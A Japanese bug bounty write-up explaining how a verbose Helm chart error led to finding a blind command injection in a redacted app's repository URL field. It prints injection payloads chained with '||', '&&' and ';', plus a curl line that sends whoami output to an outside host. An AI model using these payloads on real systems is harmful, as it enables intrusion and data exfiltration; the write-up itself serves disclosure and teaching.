Hello there, ('ω')ノ
ブラインドルートコマンドインジェクションを実現するための。
クラッシュメッセージの分析を。
ターゲットは、redacted.com/ RedactedOrg。
アプリケーションのテストを開始する方法。
アプリケーションをテストする最初のステップは。
アプリケーションで利用可能なすべての機能をマップすること。
UIからのすべての関数と。
JSファイルから検出された関数/エンドポイントのマッピングが含まれる。
Burp Suiteを接続しておくと。
エンドポイントとページを適切に追跡および抽出するのに役立つ。
このステップの後、すべての機能を使用してさわって。
さまざまな応答と動作を収集して。
後でBurpの履歴から観察および分析できるようする。
リポジトリ管理機能の分析:
アプリケーションには、認証されたユーザが。
Helmリポジトリを追加できる設定ページがあった。
ここには、URL、名前、ユーザ名、パスワード、その他のフィールドなどがある。
SSRFをテストしようとしたが、[保存済み]をクリックすると何も起こらなかった。
このリポジトリを使用して、リポジトリの取得や。
指定したリポジトリからのアプリケーションのインストールなどのアクションを。
実行する機能があるのではないかと思った。
この時点で、Apacheを実行しているリモートホストを使用して。
pingバックを取得できるかどうかを確認した。
リポジトリにzzzztest123という名前を付けた。
Helmリポジトリを使用する機能の検索:
アプリケーションのすべての機能を確認した後。
ユーザがアプリケーションを作成できる機能に出くわしたので。
anythinghere1という名前のテストアプリケーションを作成した。
アプリケーションページを下にスクロールした後。
「Chart」というタイトルの機能を見つけた。
これは、指定されたリポジトリから。
Chartをロードするために使用されたことは明らか。
アプリケーションがどのように応答するかを確認するために。
無効なChart名でリポジトリ名zzzztest123を使用してみた。
この機能は、アプリケーションが新しく作成されてこの機能が使用されると。
https://redacted.com/api/sd/catalog/applications/helmにリクエストが送信され。
この機能が複数回使用されると、リクエストは。
https://redacted.com/api/sd/catalog/applications/{APPLICATION_ID}に対して行われた。
ここでは、両方のエンドポイントが異なり。
リクエストの構造とパラメーターが異なる。
何かを変更する必要があるたびに、アプリケーションを再作成して。
前述と同じタスクを実行する必要があった。
だから、私は無効なチャートを使用し手下記の応答を得た。
このエラーメッセージは、Burpの履歴を分析したときに発生した。
このアプリケーションでは、視覚的なエラーや。
非常に奇妙なエラーが発生したかどうかを通知する警告は表示されなかった。
エラーメッセージを適切にチェックして、原因を確認して下記の行を見つけた。
],
"operatormessage": [
"CLI Error: \"Ds_chart not found\" It happens when the provided chart is not valid (the system cannot locate it)"
],
"result": "PARTIAL_SUCCESS",
"customermessage": [
"[HELM-001] Chart anythinghere1/sdfasdfdsafa not found"
],
"servicename": "MEC_woot_Catalog_awjiopwoefir_1_HelmChart"
}
次に有効なグラフを作成し、同じ要求を再度複製した。
201応答が返されたが、クラッシュメッセージは表示されなかった。
アプリケーションが冗長で、巨大なクラッシュメッセージを返していたので。
何かが怪しいと感じた。
クラッシュさせてエラーメッセージを分析するためにあらゆることを試みた。
Chart名を入力するだけで、index.yamlを受信するサーバからリクエストが行われ。
有効なファイルの場合、アプリケーションは201を返すが。
ファイルが見つからない場合、Chartが見つかりませんというエラーを返す。
この発見の主なポイントであるまれな状態を発見した。
コンテンツのない空のindex.yamlを配置すると。
アプリケーションはindex.yamlをロードするが。
例外ではない状況になり、次のエラーメッセージを返す。
"result": "PARTIAL_SUCCESS",
"customermessage": [
"[HELM-011] CLI Error: \"GLOBAL.GenericCLI_Activate(DO_AND_CHECK, ssh://127.0.0.1,
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE CLI SYSTEM \"CLIv4.dtd\">
<CLI dumpDialog=\"yes\">
<Connect protocol=\"ssh\" ssh.allow_host=\"true\" ssh.identity=\"-\" ssh.isEncrypted=\"yes\" ssh.known_hosts=\".ssh/known_hosts\" ssh.password=\"OzTDoyJMLUSREDACTEDA+681rQ==\" ssh.username=\"root\">
<Do description=\"Empty command to speed up connection\">
<Command send_newline=\"no\"/>
<Prompt>.*\\# *$</Prompt>
</Do>
</Connect>
<Disconnect continuationDelay=\"5000\">
<Do description=\"Initiate disconnect\" timeout=\"1\">
<Command continuationDelay=\"5000\" newline_chars=\"\\n\">
exit
</Command>
</Do>
</Disconnect>
<Activate>
<Action description=\"Add Helm repository\">
<Do timeout=\"600\">
<Command newline_chars=\"\\n\">helm repo add zzzztest123 http://myprivatehost.com/</Command>
<Error message=\"Chart repository unauthorized, check username and password.\">
Error.*is not a valid chart repository or cannot be reached.*401 Unauthorized</Error>
<Error message=\"Chart repository not found.\">Error.*is not a valid chart repository or cannot be reached</Error>
<Error message=\"Incorrect protocol defined in repository url.\">
Error.*could not find protocol handler</Error>
<Prompt>.*\\# $</Prompt>
</Do> </Action>
</Activate>
<Rollback>
<Rewind/>
</Rollback>
</CLI>
) : Matched error pattern - command description: [Add Helm repository]
...
最初に気付いたのは、rootユーザーのパスワードの開示で。
アプリケーションはCLIv4.dtdファイルを使用し、XML要求したが。
それ以前は、アプリケーションはローカルホスト上のSSHに接続していた。
これはssh://127.0.0.1で示されていた。
サーバがローカルホストに接続してコマンドを実行しようとしたようなもの。
見つけたコマンドエンティティで
helm repo add zzzztest123 http://myprivatehost.com
リポジトリ名であるzzzztest123と。
設定にあるHelmリポジトリ管理機能で使用したURLを見るのは非常に奇妙だった。
エンティティは、特定のリポジトリをシステムに追加するために。
使用されたhelm repoaddコマンドの位置引数として使用されていた。
ここで問題を引き起こすのは、ユーザが制御するデータが。
フィルタ処理などを行わずにコマンドとして直接渡される方法で。
コマンドインジェクションの確認:
この時点で、2つの選択肢があった。
コマンドインジェクションペイロードをリポジトリ名またはURLとして使用できる。
リポジトリ管理ページで特殊文字が許可されていなかったため、これは直接不可能。
有効な形式を送信し、パラメータを改ざんすることで。
特殊文字を使用してペイロードを使用できなかった。
必要としたのは下記の別のコマンドを実行することで。
http://validrepo.com && whoami
http://validrepo.com; whoami
http://validrepo.com || whoami
最初のコマンドの例外が発生した場合は無視されるが、
実行すると2番目のコマンドが正しく実行されるため、最後のコマンドを試した。
whoamiコマンドの結果が得られるか試した。
リポジトリのURLをhttp://myprivatehost.comに設定した後、|| whoamiが得たのは。
コマンド出力のない201応答だけ。
この時点で、コマンドは内部で実行されたと確信していたが。
アプリケーションは特定の応答を処理するようにプログラムされているだけで。
すべてがうまくいくと201が返されるため、出力は表示されなかった。
これをブラインドコマンドインジェクションとして扱った。
curlを実行して、whoamiコマンドの出力を外部ホストに送信して。
コマンドがブラインドで実行されているかどうかを確認した。
リポジトリのURLを
「http://anyvalidrepo.com/ || curl http:// myprivatehost:80 / `whoami`」に設定。
バックティックでラップされた` whoami`コマンドが実行され、結果が送信。
apacheを実行している自分のプライベートサーバに。
新しいアプリケーションを作成し、新しいリポジトリをロードして正解。
/ rootにある自分のホストにリクエストが送信された。
ここで、rootは、脆弱なアプリケーションで実行されたwhoamiコマンドの結果。
これにより脆弱性が確認され、すぐに受け入れられた。
結論:
他の多くの研究者によってテストされたターゲットを。
無視したりスキップしたりしないこと。
ほとんどの人が一般的な脆弱性を見つけるために急いでいるため。
ターゲットのほとんどが細部に至ることはない。
誰も思いつかないようなユニークなものを常に探すこと。
これが成功への鍵であるため、ターゲットを狩るときは粘り強くすること。
Best regards, (^^ゞ